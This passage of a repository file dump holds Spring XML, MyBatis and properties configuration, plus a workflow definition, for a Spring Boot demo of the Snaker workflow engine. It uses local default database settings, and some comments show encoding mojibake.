propagation=\"REQUIRED\"/>\n            <tx:method name=\"deploy*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"undeploy*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"redeploy*\" propagation=\"REQUIRED\"/>\n\n            <tx:method name=\"get*\" propagation=\"REQUIRED\" read-only=\"true\"/>\n            <tx:method name=\"find*\" propagation=\"REQUIRED\" read-only=\"true\"/>\n            <tx:method name=\"query*\" propagation=\"REQUIRED\" read-only=\"true\"/>\n            <tx:method name=\"search*\" propagation=\"REQUIRED\" read-only=\"true\"/>\n            <tx:method name=\"is*\" propagation=\"REQUIRED\" read-only=\"true\"/>\n            <tx:method name=\"*\" propagation=\"REQUIRED\"/>\n        </tx:attributes>\n    </tx:advice>\n\n    <aop:config>\n        <!--or execution(* com.snakerflow.app.modules.service..*.*(..))\n        or execution(* com.snakerflow.framework.*.service..*.*(..))-->\n        <aop:advisor advice-ref=\"txAdvice\" pointcut=\"execution(* org.snaker.engine.core..*.*(..))\n    or execution(* com.snakerflow.demo.*.service..*.*(..))\"/>\n    </aop:config>\n    <aop:aspectj-autoproxy proxy-target-class=\"true\"/>\n</beans>"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/resources/config/release/mybatis.cfg.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE configuration\n        PUBLIC \"-//mybatis.org//DTD Config 3.0//EN\"\n        \"http://mybatis.org/dtd/mybatis-3-config.dtd\">\n<configuration>\n    <settings>\n        <!-- 解决数据库字段(带下划线字段)到javabean中属性驼峰原则命名的转换\n            问题举例：\n            数据库表字段名为contribute_id,生成的映射实体类对应字段为contributeId,\n            但是就是读取不到该字段值\n         -->\n        <setting name=\"mapUnderscoreToCamelCase\" value=\"true\" />\n    </settings>\n    <typeAliases>\n        <package name=\"org.snaker.engine.entity\"/>\n    </typeAliases>\n    <!-- 引用映射文件 -->\n    <mappers>\n        <!-- resource : 相对路径查询资源的属性.\n        相对于当前核心配置文件的位置开始查找映射文件.\n        -->\n        <!--<mapper resource=\"com/bjsxt/pojo/model.User-mapper.xml\"/>-->\n        <mapper resource=\"mapper/process.xml\"/>\n        <mapper resource=\"mapper/order.xml\"/>\n        <mapper resource=\"mapper/task.xml\"/>\n        <mapper resource=\"mapper/task-actor.xml\"/>\n        <mapper resource=\"mapper/hist-order.xml\"/>\n        <mapper resource=\"mapper/hist-task.xml\"/>\n        <mapper resource=\"mapper/hist-task-actor.xml\"/>\n        <mapper resource=\"mapper/query.xml\"/>\n        <mapper resource=\"mapper/hist-query.xml\"/>\n    </mappers>\n</configuration>"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/resources/config/release/snaker.properties",
    "content": "#page must config\njdbc.pageSize=15\n#subprocessurl=snaker/subprocess/view"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/resources/config/test/application.properties",
    "content": "#debug=true\nspring.datasource.url = jdbc:mysql://localhost:3306/snaker-web?useUnicode=true&characterEncoding=utf-8\nspring.datasource.username = root\nspring.datasource.password = 123456\nspring.datasource.driverClassName = com.mysql.jdbc.Driver\nspring.datasource.max-active=40\nspring.datasource.max-idle=8\nspring.datasource.min-idle=8\nspring.datasource.initial-size=10\n\n#ȲЧ\nspring.devtools.restart.enabled=true\n#Ŀ¼\nspring.devtools.restart.additional-paths=src/main/java\n\n#TODO ģļ(Զ壩\nsnaker.workflow.model.path=snakerflow/examination.snaker\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/resources/config/test/applicationContext.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n       xmlns:tx=\"http://www.springframework.org/schema/tx\"\n       xmlns:context=\"http://www.springframework.org/schema/context\"\n       xmlns:aop=\"http://www.springframework.org/schema/aop\"\n       xsi:schemaLocation=\"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd\n\thttp://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-3.0.xsd \n\thttp://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-3.0.xsd \n\thttp://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-3.0.xsd\"\n       default-lazy-init=\"true\">\n\n    <description>Spring公共配置</description>\n\n    <context:annotation-config/>\n    <!--<context:component-scan base-package=\"com.snakerflow.demo\"/>-->\n    <!-- 定义受环境影响易变的变量 -->\n    <bean class=\"org.springframework.beans.factory.config.PropertyPlaceholderConfigurer\">\n        <property name=\"systemPropertiesModeName\" value=\"SYSTEM_PROPERTIES_MODE_OVERRIDE\"/>\n        <property name=\"ignoreResourceNotFound\" value=\"true\"/>\n        <property name=\"locations\">\n            <list>\n                <value>classpath*:/application.properties</value>\n            </list>\n        </property>\n    </bean>\n\n    <!--FIXME\n    <bean id=\"yamlProperties\" class=\"org.springframework.beans.factory.config.YamlPropertiesFactoryBean\">\n        <property name=\"resources\" value=\"classpath:application.yml\"/>\n    </bean>\n    <context:property-placeholder properties-ref=\"yamlProperties\"/>\n    -->\n\n    <!-- 数据源配置,使用应用内的DBCP数据库连接池 -->\n    <!--FIXME springboot数据源默认配置请看：org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration\n    东软框架目前使用的是默认数据源org.apache.tomcat.jdbc.pool.DataSource，\n    此处使用默认数据源之一：org.apache.commons.dbcp.BasicDataSource\n    -->\n    <bean id=\"dataSource\" class=\"org.apache.commons.dbcp.BasicDataSource\" destroy-method=\"close\">\n        <property name=\"driverClassName\" value=\"${spring.datasource.driverClassName}\"/>\n        <property name=\"url\" value=\"${spring.datasource.url}\"/>\n        <property name=\"username\" value=\"${spring.datasource.username}\"/>\n        <property name=\"password\" value=\"${spring.datasource.password}\"/>\n        <property name=\"maxIdle\" value=\"${spring.datasource.max-idle}\"/>\n        <property name=\"maxActive\" value=\"${spring.datasource.max-active}\"/>\n        <property name=\"defaultAutoCommit\" value=\"false\"/>\n    </bean>\n\n    <!--FIXME 不集成mybatis-plus请取消注释 mybatis：SqlSessionFactory Config -->\n    <!--<bean id=\"sqlSessionFactory\" class=\"org.mybatis.spring.SqlSessionFactoryBean\">\n        <property name=\"configLocation\" value=\"classpath:mybatis.cfg.xml\"></property>\n        <property name=\"dataSource\" ref=\"dataSource\"/>\n        <property name=\"typeAliasesPackage\" value=\"org.snaker.engine.entity\"/>\n    </bean>-->\n\n    <!--FIXME 集成mybatis-plus请取消注释 mybatisplus：SqlSessionFactory Config -->\n    <!--集成mybatis-plus start-->\n    <bean id=\"sqlSessionFactory\" class=\"com.baomidou.mybatisplus.extension.spring.MybatisSqlSessionFactoryBean\">\n        <property name=\"configLocation\" value=\"classpath:mybatis.cfg.xml\"></property>\n        <property name=\"dataSource\" ref=\"dataSource\"/>\n        <property name=\"typeAliasesPackage\" value=\"org.snaker.engine.entity\" />\n    </bean>\n    <!--集成mybatis-plus end-->\n\n    <!--snaker mybatis access start-->\n    <bean id=\"dbAccess\" class=\"org.snaker.engine.access.mybatis.MybatisAccess\">\n        <property name=\"sqlSessionFactory\" ref=\"sqlSessionFactory\"/>\n    </bean>\n    <!--snaker mybatis access end-->\n\n    <!--SnakerEngine配置 start-->\n    <context:component-scan base-package=\"org.snaker.engine\"/>\n    <bean id=\"engine\" class=\"org.snaker.engine.spring.SpringSnakerEngine\">\n        <property name=\"processService\" ref=\"processService\"/>\n        <property name=\"orderService\" ref=\"orderService\"/>\n        <property name=\"taskService\" ref=\"taskService\"/>\n        <property name=\"queryService\" ref=\"queryService\"/>\n        <property name=\"managerService\" ref=\"managerService\"/>\n    </bean>\n    <bean id=\"processService\" class=\"org.snaker.engine.core.ProcessService\">\n        <property name=\"access\" ref=\"dbAccess\"/>\n        <property name=\"cacheManager\" ref=\"cacheManager\"/>\n    </bean>\n    <bean id=\"orderService\" class=\"org.snaker.engine.core.OrderService\">\n        <property name=\"access\" ref=\"dbAccess\"/>\n    </bean>\n    <bean id=\"taskService\" class=\"org.snaker.engine.core.TaskService\">\n        <property name=\"access\" ref=\"dbAccess\"/>\n    </bean>\n    <bean id=\"managerService\" class=\"org.snaker.engine.core.ManagerService\">\n        <property name=\"access\" ref=\"dbAccess\"/>\n    </bean>\n    <bean id=\"queryService\" class=\"org.snaker.engine.core.QueryService\">\n        <property name=\"access\" ref=\"dbAccess\"/>\n    </bean>\n    <bean id=\"cacheManager\" class=\"org.snaker.engine.cache.memory.MemoryCacheManager\"/>\n    <bean class=\"org.snaker.engine.impl.LogInterceptor\"/>\n    <bean class=\"org.snaker.engine.spring.SpelExpression\"/>\n    <!--SnakerEngine配置 end-->\n\n    <!-- 事务管理器配置-->\n    <bean id=\"transactionManager\" class=\"org.springframework.jdbc.datasource.DataSourceTransactionManager\">\n        <property name=\"dataSource\" ref=\"dataSource\"/>\n    </bean>\n\n    <tx:advice id=\"txAdvice\" transaction-manager=\"transactionManager\">\n        <tx:attributes>\n            <tx:method name=\"start*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"execute*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"save*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"delete*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"update*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"remove*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"assign*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"create*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"complete*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"finish*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"terminate*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"take*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"deploy*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"undeploy*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"redeploy*\" propagation=\"REQUIRED\"/>\n\n            <tx:method name=\"get*\" propagation=\"REQUIRED\" read-only=\"true\"/>\n            <tx:method name=\"find*\" propagation=\"REQUIRED\" read-only=\"true\"/>\n            <tx:method name=\"query*\" propagation=\"REQUIRED\" read-only=\"true\"/>\n            <tx:method name=\"search*\" propagation=\"REQUIRED\" read-only=\"true\"/>\n            <tx:method name=\"is*\" propagation=\"REQUIRED\" read-only=\"true\"/>\n            <tx:method name=\"*\" propagation=\"REQUIRED\"/>\n        </tx:attributes>\n    </tx:advice>\n\n    <aop:config>\n        <!--or execution(* com.snakerflow.app.modules.service..*.*(..))\n        or execution(* com.snakerflow.framework.*.service..*.*(..))-->\n        <aop:advisor advice-ref=\"txAdvice\" pointcut=\"execution(* org.snaker.engine.core..*.*(..))\n    or execution(* com.snakerflow.demo.*.service..*.*(..))\"/>\n    </aop:config>\n    <aop:aspectj-autoproxy proxy-target-class=\"true\"/>\n</beans>"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/resources/config/test/mybatis.cfg.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE configuration\n        PUBLIC \"-//mybatis.org//DTD Config 3.0//EN\"\n        \"http://mybatis.org/dtd/mybatis-3-config.dtd\">\n<configuration>\n    <settings>\n        <!-- 解决数据库字段(带下划线字段)到javabean中属性驼峰原则命名的转换\n            问题举例：\n            数据库表字段名为contribute_id,生成的映射实体类对应字段为contributeId,\n            但是就是读取不到该字段值\n         -->\n        <setting name=\"mapUnderscoreToCamelCase\" value=\"true\" />\n    </settings>\n    <typeAliases>\n        <package name=\"org.snaker.engine.entity\"/>\n    </typeAliases>\n    <!-- 引用映射文件 -->\n    <mappers>\n        <!-- resource : 相对路径查询资源的属性.\n        相对于当前核心配置文件的位置开始查找映射文件.\n        -->\n        <!--<mapper resource=\"com/bjsxt/pojo/model.User-mapper.xml\"/>-->\n        <mapper resource=\"mapper/process.xml\"/>\n        <mapper resource=\"mapper/order.xml\"/>\n        <mapper resource=\"mapper/task.xml\"/>\n        <mapper resource=\"mapper/task-actor.xml\"/>\n        <mapper resource=\"mapper/hist-order.xml\"/>\n        <mapper resource=\"mapper/hist-task.xml\"/>\n        <mapper resource=\"mapper/hist-task-actor.xml\"/>\n        <mapper resource=\"mapper/query.xml\"/>\n        <mapper resource=\"mapper/hist-query.xml\"/>\n    </mappers>\n</configuration>"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/resources/config/test/snaker.properties",
    "content": "#page must config\njdbc.pageSize=15\n#subprocessurl=snaker/subprocess/view"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/resources/mapper/api/SecUserMapper.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n<mapper namespace=\"com.snakerflow.demo.api.mapper.SecUserMapper\">\n\n    <!-- 通用查询映射结果 -->\n    <resultMap id=\"BaseResultMap\" type=\"com.snakerflow.demo.api.entity.SecUser\">\n    <result column=\"id\" property=\"id\" />\n        <result column=\"address\" property=\"address\" />\n        <result column=\"age\" property=\"age\" />\n        <result column=\"email\" property=\"email\" />\n        <result column=\"enabled\" property=\"enabled\" />\n        <result column=\"fullname\" property=\"fullname\" />\n        <result column=\"password\" property=\"password\" />\n        <result column=\"plainPassword\" property=\"plainPassword\" />\n        <result column=\"salt\" property=\"salt\" />\n        <result column=\"sex\" property=\"sex\" />\n        <result column=\"type\" property=\"type\" />\n        <result column=\"username\" property=\"username\" />\n        <result column=\"org\" property=\"org\" />\n    </resultMap>\n\n    <!-- 通用查询结果列 -->\n    <sql id=\"Base_Column_List\">\n        id,\n        address, age, email, enabled, fullname, password, plainPassword, salt, sex, type, username, org\n    </sql>\n\n</mapper>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/resources/snakerflow/examination.snaker",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<process displayName=\"审校及发行审批流程\" name=\"examination\">\n<start displayName=\"start1\" layout=\"45,139,-1,-1\" name=\"start\">\n<transition g=\"\" name=\"transition6\" offset=\"0,0\" to=\"submitTest\"/>\n</start>\n<decision displayName=\"decision1\" layout=\"160,238,-1,-1\" name=\"test\">\n<transition displayName=\"初审通过\" expr=\"${test == 1}\" g=\"\" name=\"testOK\" offset=\"0,0\" to=\"submitTest2\"/>\n<transition displayName=\"初审不通过\" expr=\"${test == 0}\" g=\"\" name=\"testNO\" offset=\"0,0\" to=\"reDo\"/>\n</decision>\n<task autoExecute=\"Y\" displayName=\"提交复审\" layout=\"138,137,-1,-1\" name=\"submitTest2\" performType=\"ANY\" taskType=\"Major\">\n<transition displayName=\"去复审\" g=\"\" name=\"toTest2\" offset=\"0,0\" to=\"test2\"/>\n</task>\n<task autoExecute=\"Y\" displayName=\"返回重做\" layout=\"138,387,-1,-1\" name=\"reDo\" performType=\"ANY\" taskType=\"Major\"/>\n<decision displayName=\"decision1\" layout=\"297,139,-1,-1\" name=\"test2\">\n<transition displayName=\"复审通过\" expr=\"${test == 1}\" g=\"\" name=\"test2OK\" offset=\"0,0\" to=\"submitTest3\"/>\n<transition displayName=\"复审不通过\" expr=\"${test == 0}\" g=\"\" name=\"test2NO\" offset=\"0,0\" to=\"reDo\"/>\n</decision>\n<task autoExecute=\"Y\" displayName=\"提交终审\" layout=\"411,137,-1,-1\" name=\"submitTest3\" performType=\"ANY\" taskType=\"Major\">\n<transition displayName=\"去终审\" g=\"\" name=\"toTest3\" offset=\"-6,0\" to=\"test3\"/>\n</task>\n<decision displayName=\"decision1\" layout=\"552,139,-1,-1\" name=\"test3\">\n<transition displayName=\"终审不通过\" expr=\"${test == 0}\" g=\"\" name=\"test3NO\" offset=\"0,0\" to=\"reDo\"/>\n<transition displayName=\"终审通过\" expr=\"${test == 1}\" g=\"\" name=\"test3OK\" offset=\"0,-1\" to=\"join4\"/>\n</decision>\n<task autoExecute=\"Y\" displayName=\"提交一校\" layout=\"632,135,92,50\" name=\"submitCheck\" performType=\"ANY\" taskType=\"Major\">\n<transition displayName=\"去一校\" g=\"\" name=\"toCheck\" offset=\"0,0\" to=\"check\"/>\n</task>\n<decision displayName=\"decision1\" layout=\"789,137,-1,-1\" name=\"check\">\n<transition displayName=\"一校通过\" expr=\"${test == 1}\" g=\"\" name=\"checkOK\" offset=\"-12,0\" to=\"join1\"/>\n<transition displayName=\"一校不通过\" expr=\"${test==0}\" g=\"\" name=\"checkNO\" offset=\"0,0\" to=\"join4\"/>\n</decision>\n<task autoExecute=\"Y\" displayName=\"提交二校\" layout=\"1039,135,-1,-1\" name=\"submitCheck2\" performType=\"ANY\" taskType=\"Major\">\n<transition displayName=\"去二校\" g=\"\" name=\"toCheck2\" offset=\"0,0\" to=\"check2\"/>\n</task>\n<decision displayName=\"decision1\" layout=\"1061,224,-1,-1\" name=\"check2\">\n<transition displayName=\"二校通过\" expr=\"${test == 1}\" g=\"\" name=\"check2OK\" offset=\"6,0\" to=\"join2\"/>\n<transition displayName=\"二校不通过\" expr=\"${test==0}\" g=\"\" name=\"check2NO\" offset=\"0,0\" to=\"join1\"/>\n</decision>\n<task autoExecute=\"Y\" displayName=\"提交三校\" layout=\"632,222,-1,-1\" name=\"submitCheck3\" performType=\"ANY\" taskType=\"Major\">\n<transition displayName=\"去三校\" g=\"\" name=\"toCheck3\" offset=\"0,0\" to=\"check3\"/>\n</task>\n<decision displayName=\"decision1\" layout=\"654,304,-1,-1\" name=\"check3\">\n<transition displayName=\"三校通过\" expr=\"${test == 1}\" g=\"\" name=\"check3OK\" offset=\"0,0\" to=\"join3\"/>\n<transition displayName=\"三校不通过\" expr=\"${test==0}\" g=\"\" name=\"check3NO\" offset=\"0,0\" to=\"join2\"/>\n</decision>\n<task autoExecute=\"Y\" displayName=\"提交发行\" layout=\"1039,302,-1,-1\" name=\"submitPublish\" performType=\"ANY\" taskType=\"Major\">\n<transition displayName=\"去发行\" g=\"\" name=\"toPublish\" offset=\"0,0\" to=\"publish\"/>\n</task>\n<decision displayName=\"发行审批\" layout=\"1061,389,-1,-1\" name=\"publish\">\n<transition displayName=\"发行通过\" expr=\"${test == 1}\" g=\"\" name=\"publishOK\" offset=\"0,0\" to=\"doPack\"/>\n<transition displayName=\"发行不通过\" expr=\"${test==0}\" g=\"\" name=\"publishNO\" offset=\"0,0\" to=\"join3\"/>\n</decision>\n<end displayName=\"end1\" layout=\"545,389,-1,-1\" name=\"end1\"/>\n<task autoExecute=\"Y\" displayName=\"打包发行\" layout=\"632,387,-1,-1\" name=\"doPack\" performType=\"ANY\" taskType=\"Major\">\n<transition g=\"\" name=\"transition1\" offset=\"0,0\" to=\"end1\"/>\n</task>\n<join displayName=\"join1\" layout=\"901,137,-1,-1\" name=\"join1\">\n<transition g=\"\" name=\"transition2\" offset=\"0,0\" to=\"submitCheck2\"/>\n</join>\n<join displayName=\"join2\" layout=\"854,224,-1,-1\" name=\"join2\">\n<transition g=\"\" name=\"transition3\" offset=\"0,0\" to=\"submitCheck3\"/>\n</join>\n<join displayName=\"join3\" layout=\"854,304,-1,-1\" name=\"join3\">\n<transition g=\"\" name=\"transition4\" offset=\"0,0\" to=\"submitPublish\"/>\n</join>\n<join displayName=\"join4\" layout=\"552,52,-1,-1\" name=\"join4\">\n<transition g=\"\" name=\"transition5\" offset=\"0,0\" to=\"submitCheck\"/>\n</join>\n<task assignee=\"${user}\" autoExecute=\"N\" displayName=\"提交初审\" layout=\"23,236,-1,-1\" name=\"submitTest\" performType=\"ANY\" taskType=\"Major\">\n<transition displayName=\"去初审\" g=\"\" name=\"toTest\" offset=\"-6,-2\" to=\"test\"/>\n</task>\n</process>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/resources/temp/application.properties",
    "content": "##mysql version database setting\n#jdbc.driver=com.mysql.jdbc.Driver\n#jdbc.url=jdbc:mysql://localhost:3306/snaker-web?useUnicode=true&characterEncoding=utf-8\n#jdbc.username=root\n#jdbc.password=123456\n##dbcp settings\n#dbcp.maxIdle=5\n#dbcp.maxActive=40\n\n#debug=true\nspring.datasource.url = jdbc:mysql://localhost:3306/snaker-web?useUnicode=true&characterEncoding=utf-8\nspring.datasource.username = root\nspring.datasource.password = 123456\nspring.datasource.driverClassName = com.mysql.jdbc.Driver\nspring.datasource.max-active=40    \nspring.datasource.max-idle=8\nspring.datasource.min-idle=8\nspring.datasource.initial-size=10\n#snakerģ·(Զ壩\nsnaker.workflow.model.path=snakerflow/examination.snaker\n\n#ȲЧ\nspring.devtools.remote.restart.enabled=true\n#Ŀ¼\n#spring.devtools.restart.additional-paths: src/main/java\n#classpathĿ¼µWEB-INFļ޸Ĳ\nspring.devtools.restart.additional-exclude=: WEB-INF/**\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/resources/temp/applicationContext-snaker.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\t   xmlns:jee=\"http://www.springframework.org/schema/jee\" xmlns:tx=\"http://www.springframework.org/schema/tx\"\n\t   xmlns:context=\"http://www.springframework.org/schema/context\" xmlns:aop=\"http://www.springframework.org/schema/aop\"\n\t   xsi:schemaLocation=\"\n        http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd\n        http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-3.0.xsd\n        http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-3.0.xsd\n        http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-3.0.xsd\"\n\t   default-autowire=\"byName\" default-lazy-init=\"true\">\n\n\t<!--<description>SnakerEngine配置 </description>\n\t<context:component-scan base-package=\"org.snaker.engine\"/>\n\t<bean id=\"engine\" class=\"org.snaker.engine.spring.SpringSnakerEngine\">\n\t\t<property name=\"processService\" ref=\"processService\"/>\n\t\t<property name=\"orderService\" ref=\"orderService\"/>\n\t\t<property name=\"taskService\" ref=\"taskService\"/>\n\t\t<property name=\"queryService\" ref=\"queryService\"/>\n\t\t<property name=\"managerService\" ref=\"managerService\"/>\n\t</bean>-->\n\n\t<!-- mybatis access -->\n\t<!--<bean id=\"sqlSessionFactory\" class=\"org.mybatis.spring.SqlSessionFactoryBean\">\n\t\t<property name=\"configLocation\" value=\"classpath:mybatis.cfg.xml\"></property>\n\t\t<property name=\"dataSource\" ref=\"dataSource\" />\n\t\t<property name=\"typeAliasesPackage\" value=\"org.snaker.engine.entity\" />\n\t</bean>-->\n\t<!--<bean id=\"dbAccess\" class=\"org.snaker.engine.access.mybatis.MybatisAccess\">\n\t\t<property name=\"sqlSessionFactory\" ref=\"sqlSessionFactory\"/>\n\t</bean>\n\n\t<bean id=\"processService\" class=\"org.snaker.engine.core.ProcessService\">\n\t\t<property name=\"access\" ref=\"dbAccess\"/>\n\t\t<property name=\"cacheManager\" ref=\"cacheManager\"/>\n\t</bean>\n\t<bean id=\"orderService\" class=\"org.snaker.engine.core.OrderService\">\n\t\t<property name=\"access\" ref=\"dbAccess\"/>\n\t</bean>\n\t<bean id=\"taskService\" class=\"org.snaker.engine.core.TaskService\">\n\t\t<property name=\"access\" ref=\"dbAccess\"/>\n\t</bean>\n\t<bean id=\"managerService\" class=\"org.snaker.engine.core.ManagerService\">\n\t\t<property name=\"access\" ref=\"dbAccess\"/>\n\t</bean>\n\t<bean id=\"queryService\" class=\"org.snaker.engine.core.QueryService\">\n\t\t<property name=\"access\" ref=\"dbAccess\"/>\n\t</bean>\n\n\t<bean id=\"cacheManager\" class=\"org.snaker.engine.cache.memory.MemoryCacheManager\"/>\n\t<bean class=\"org.snaker.engine.impl.LogInterceptor\"/>\n\t<bean class=\"org.snaker.engine.spring.SpelExpression\"/>-->\n\n\t<!--snaker-web项目-->\n\t<!-- spring jdbc access\n\t<bean id=\"dbAccess\" class=\"org.snaker.engine.access.spring.SpringJdbcAccess\">\n\t\t<property name=\"dataSource\" ref=\"dataSource\"/>\n\t\t<property name=\"lobHandler\" ref=\"lobHandler\"/>\n\t</bean>\n\t<bean id=\"lobHandler\" class=\"org.springframework.jdbc.support.lob.DefaultLobHandler\" lazy-init=\"true\" />\n\t -->\n</beans>"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/resources/temp/applicationContext.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txmlns:jee=\"http://www.springframework.org/schema/jee\" xmlns:tx=\"http://www.springframework.org/schema/tx\"\n\txmlns:context=\"http://www.springframework.org/schema/context\" xmlns:aop=\"http://www.springframework.org/schema/aop\"\n\txsi:schemaLocation=\"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd \n\thttp://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-3.0.xsd \n\thttp://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-3.0.xsd \n\thttp://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-3.0.xsd\"\n\tdefault-lazy-init=\"true\">\n\n\t<description>Spring公共配置 </description>\n\t\n\t<context:annotation-config/>\n\t<context:component-scan base-package=\"com.snakerflow.demo\" />\n\t<!-- 定义受环境影响易变的变量 -->\n\t<bean class=\"org.springframework.beans.factory.config.PropertyPlaceholderConfigurer\">\n\t\t<property name=\"systemPropertiesModeName\" value=\"SYSTEM_PROPERTIES_MODE_OVERRIDE\" />\n\t\t<property name=\"ignoreResourceNotFound\" value=\"true\" />\n\t\t<property name=\"locations\">\n\t\t\t<list>\n\t\t\t\t<value>classpath*:/application.properties</value>\n\t\t\t</list>\n\t\t</property>\n\t</bean>\n\n\t<!-- 数据源配置,使用应用内的DBCP数据库连接池 -->\n    <bean id=\"dataSource\" class=\"org.apache.commons.dbcp.BasicDataSource\" destroy-method=\"close\">\n        <property name=\"driverClassName\" value=\"${spring.datasource.driverClassName}\" />\n        <property name=\"url\" value=\"${spring.datasource.url}\" />\n        <property name=\"username\" value=\"${spring.datasource.username}\" />\n        <property name=\"password\" value=\"${spring.datasource.password}\" />\n\n        <property name=\"maxIdle\" value=\"${spring.datasource.max-idle}\" />\n        <property name=\"maxActive\" value=\"${spring.datasource.max-active}\" />\n        <property name=\"defaultAutoCommit\" value=\"false\" />\n        <property name=\"timeBetweenEvictionRunsMillis\" value=\"3600000\" />\n        <property name=\"minEvictableIdleTimeMillis\" value=\"3600000\" />\n    </bean>\n\n    <!-- mybatis access -->\n\t<bean id=\"dbAccess\" class=\"org.snaker.engine.access.mybatis.MybatisAccess\">\n\t\t<property name=\"sqlSessionFactory\" ref=\"sqlSessionFactory\"/>\n\t</bean>\n\t<bean id=\"sqlSessionFactory\" class=\"org.mybatis.spring.SqlSessionFactoryBean\">\n\t\t<property name=\"configLocation\" value=\"classpath:mybatis.cfg.xml\"></property>\n\t\t<property name=\"dataSource\" ref=\"dataSource\" />\n\t\t<property name=\"typeAliasesPackage\" value=\"org.snaker.engine.entity\" />\n\t</bean>\n\n    <!--SnakerEngine配置-->\n    <context:component-scan  base-package=\"org.snaker.engine\"/>\n    <bean id=\"engine\" class=\"org.snaker.engine.spring.SpringSnakerEngine\">\n        <property name=\"processService\" ref=\"processService\"/>\n        <property name=\"orderService\" ref=\"orderService\"/>\n        <property name=\"taskService\" ref=\"taskService\"/>\n        <property name=\"queryService\" ref=\"queryService\"/>\n        <property name=\"managerService\" ref=\"managerService\"/>\n    </bean>\n    <bean id=\"processService\" class=\"org.snaker.engine.core.ProcessService\">\n        <property name=\"access\" ref=\"dbAccess\"/>\n        <property name=\"cacheManager\" ref=\"cacheManager\"/>\n    </bean>\n    <bean id=\"orderService\" class=\"org.snaker.engine.core.OrderService\">\n        <property name=\"access\" ref=\"dbAccess\"/>\n    </bean>\n    <bean id=\"taskService\" class=\"org.snaker.engine.core.TaskService\">\n        <property name=\"access\" ref=\"dbAccess\"/>\n    </bean>\n    <bean id=\"managerService\" class=\"org.snaker.engine.core.ManagerService\">\n        <property name=\"access\" ref=\"dbAccess\"/>\n    </bean>\n    <bean id=\"queryService\" class=\"org.snaker.engine.core.QueryService\">\n        <property name=\"access\" ref=\"dbAccess\"/>\n    </bean>\n    <bean id=\"cacheManager\" class=\"org.snaker.engine.cache.memory.MemoryCacheManager\"/>\n    <bean class=\"org.snaker.engine.impl.LogInterceptor\"/>\n    <bean class=\"org.snaker.engine.spring.SpelExpression\"/>\n\n\t<!-- 事务管理器配置,单数据源事务 -->\n\t<!--<bean id=\"transactionManager\" class=\"org.springframework.orm.hibernate3.HibernateTransactionManager\">\n\t\t<property name=\"sessionFactory\" ref=\"sessionFactory\" />\n\t</bean>-->\n\t<bean id=\"transactionManager\" class=\"org.springframework.jdbc.datasource.DataSourceTransactionManager\">\n\t\t<property name=\"dataSource\" ref=\"dataSource\" />\n\t</bean>\n\n\t<tx:advice id=\"txAdvice\" transaction-manager=\"transactionManager\">\n\t\t<tx:attributes>\n\t\t\t<tx:method name=\"start*\" propagation=\"REQUIRED\"/>\n\t\t\t<tx:method name=\"execute*\" propagation=\"REQUIRED\"/>\n\t\t\t<tx:method name=\"save*\" propagation=\"REQUIRED\"/>\n\t\t\t<tx:method name=\"delete*\" propagation=\"REQUIRED\" />\n\t\t\t<tx:method name=\"update*\" propagation=\"REQUIRED\" 